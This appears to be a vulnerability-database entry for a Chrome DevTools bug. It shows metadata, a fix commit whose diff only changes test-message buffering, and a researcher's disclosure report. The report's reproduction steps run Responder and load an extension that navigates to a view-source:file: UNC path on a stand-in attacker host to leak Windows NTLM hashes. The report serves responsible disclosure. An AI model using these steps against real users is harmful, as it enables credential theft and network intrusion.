Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in DevTools
DescriptionInsufficient policy enforcement in DevTools
ComponentDevTools
Bug ClassLogic Error
Tracker491766258
Fix commit5b4a14ceeeb4 (devtools/devtools-frontend) +23/-7
CISA KEVNot listed
Creditedlebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab
Disclosed2026-05-05

Changed Functions

FunctionChangeNotes
if
front_end/Tests.js
modified

Files Changed

  • front_end/Tests.js
From 5b4a14ceeeb42f9d14815501ffb066915889406b Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Thu, 26 Mar 2026 12:56:19 -0700
Subject: [PATCH] Handle test output messages that arrive before the waiter is ready.

The waitForTestResultsAsMessage function now buffers test output messages received via top.postMessage in earlyTestResults if the waiter is not yet active. This prevents missing test results that are posted very quickly after the test starts. When waitForTestResultsAsMessage is called, it first checks the buffer before setting up a waiter.

Bug: 491766258
Change-Id: Ib34bb6e87ab1036e1c52ecbcd057050dc490fe7b
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7704616
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Andrey Kosyakov <caseq@chromium.org>
---

diff --git a/front_end/Tests.js b/front_end/Tests.js
index 7688a87..6a13544 100644
--- a/front_end/Tests.js
+++ b/front_end/Tests.js
@@ -1086,20 +1086,36 @@
     this.takeControl({slownessFactor: 10});
   };
 
-  TestSuite.prototype.waitForTestResultsAsMessage = function() {
-    const onMessage = event => {
-      if (!event.data.testOutput) {
-        return;
-      }
-      top.removeEventListener('message', onMessage);
+  const earlyTestResults = [];
+  let testResultsWaiter = null;
+
+  top.addEventListener('message', event => {
+    if (event.data && event.data.testOutput) {
       const text = event.data.testOutput;
+      if (testResultsWaiter) {
+        testResultsWaiter(text);
+      } else {
+        earlyTestResults.push(text);
+      }
+    }
+  });
+
+  TestSuite.prototype.waitForTestResultsAsMessage = function() {
+    const handleMessage = text => {
+      testResultsWaiter = null;
       if (text === 'PASS') {
         this.releaseControl();
       } else {
         this.fail(text);
       }
     };
-    top.addEventListener('message', onMessage);
+
+    if (earlyTestResults.length) {
+      handleMessage(earlyTestResults.shift());
+      return;
+    }
+
+    testResultsWaiter = handleMessage;
     this.takeControl();
   };
 
Loading diff…

Original Bug Report

reported by al...@gmail.com

Extensions without file URL access can use the `Page.navigate` CDP command to open `view-source:file:` URLs

VULNERABILITY DETAILS

Summary

A malicious extension can use the chrome.debugger.sendCommand API with the Page.navigate CDP command to navigate to view-source:file: URLs without the user enabling Allow access to file URLs. On Windows, this can be exploited using a UNC path to leak NTLM hashes to an attacker-controlled server.

Attack Preconditions

The victim installs a malicious extension provided by the attacker, or a legitimate extension has a vulnerability that allows an attacker to control the URL passed to the Page.navigate CDP command.

Impact Analysis

On Windows, the attacker can set up a server to capture NTLM hashes leaked via a view-source:file: URL using a UNC path, similar to bugs like Issue 391114799 and Issue 40060207. After acquiring the NTLM hashes, the attacker can perform offline cracking or use them with other techniques to gain access to Active Directory-based networks.

On macOS and Linux, the impact might be limited since I couldn’t find a way to leak the page content of a view-source:file: URL without file URL access permissions.

Bisect and Root Cause Analysis

Unlike IsFileUrl, which correctly checks for view-source: URLs and unwraps them to check the inner URL’s scheme, PageHandler::Navigate doesn’t unwrap view-source: URL to check the inner URL’s scheme. This allows view-source:file: URLs to be navigated to without file URL access permission:

  if (gurl.SchemeIsFile() && !may_read_local_files_) {
    callback->sendFailure(
        Response::ServerError("Navigating to local URL is not allowed"));
    return;
  }

The check for file URLs was introduced in this commit:

https://source.chromium.org/chromium/chromium/src/+/925a1926434ee8e71b7adac47989df27e64b69d6

VERSION

Chrome Version: 145.0.7632.76 stable

Operating System: Linux, Mac, Windows

This vulnerability is also present in Chrome 147.0.7727.0 canary.

REPRODUCTION CASE

  1. Set up Responder for catching NTLM hashes. The server can be set up with the installation guide provided in the repository or set up with Docker as follows (make sure to replace <INTERFACE> with the actual network interface you want to listen on):
    docker run --rm -ti --network host kalilinux/kali-rolling
    # Inside the container
    apt update && apt install -y responder
    responder -v -I <INTERFACE>
    
  2. Create a directory structure like this with the attached file:
    poc
    ├── background.js
    └── manifest.json
    
  3. Replace <YOUR IP> in background.js with the actual IP address of your machine where Responder is running.
  4. Load the extension in Chrome by navigating to chrome://extensions, enabling Developer mode, and clicking Load unpacked. Select the poc directory.
  5. Disable the Allow access to file URLs option for the extension in chrome://extensions to make sure the PoC is running without the permission.
  6. After disabling the permission, the background.js script should reload and use chrome.debugger.sendCommand API with Page.navigate CDP command to navigate to the view-source:file:////<YOUR IP>/leak URL.
  7. Even though the extension doesn’t have the permission to access file URLs, Page.navigate should still successfully navigate the tab to the view-source:file: URL.
  8. You should see the NTLM hashes being captured in the console output of Responder.

> Note: To simply prove that navigation to view-source:file: URLs works without file URL access, instead of using UNC path, you can update TARGET_URL in background.js to use something like view-source:file:///etc/hosts on Linux/macOS or view-source:file:///C:/Windows/System32/drivers/etc/hosts on Windows to see if the URL can be loaded without file URL access permissions. The reproduction steps above are specifically for demonstrating the NTLM hash leak on Windows.

CREDIT INFORMATION

Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.

View on issue tracker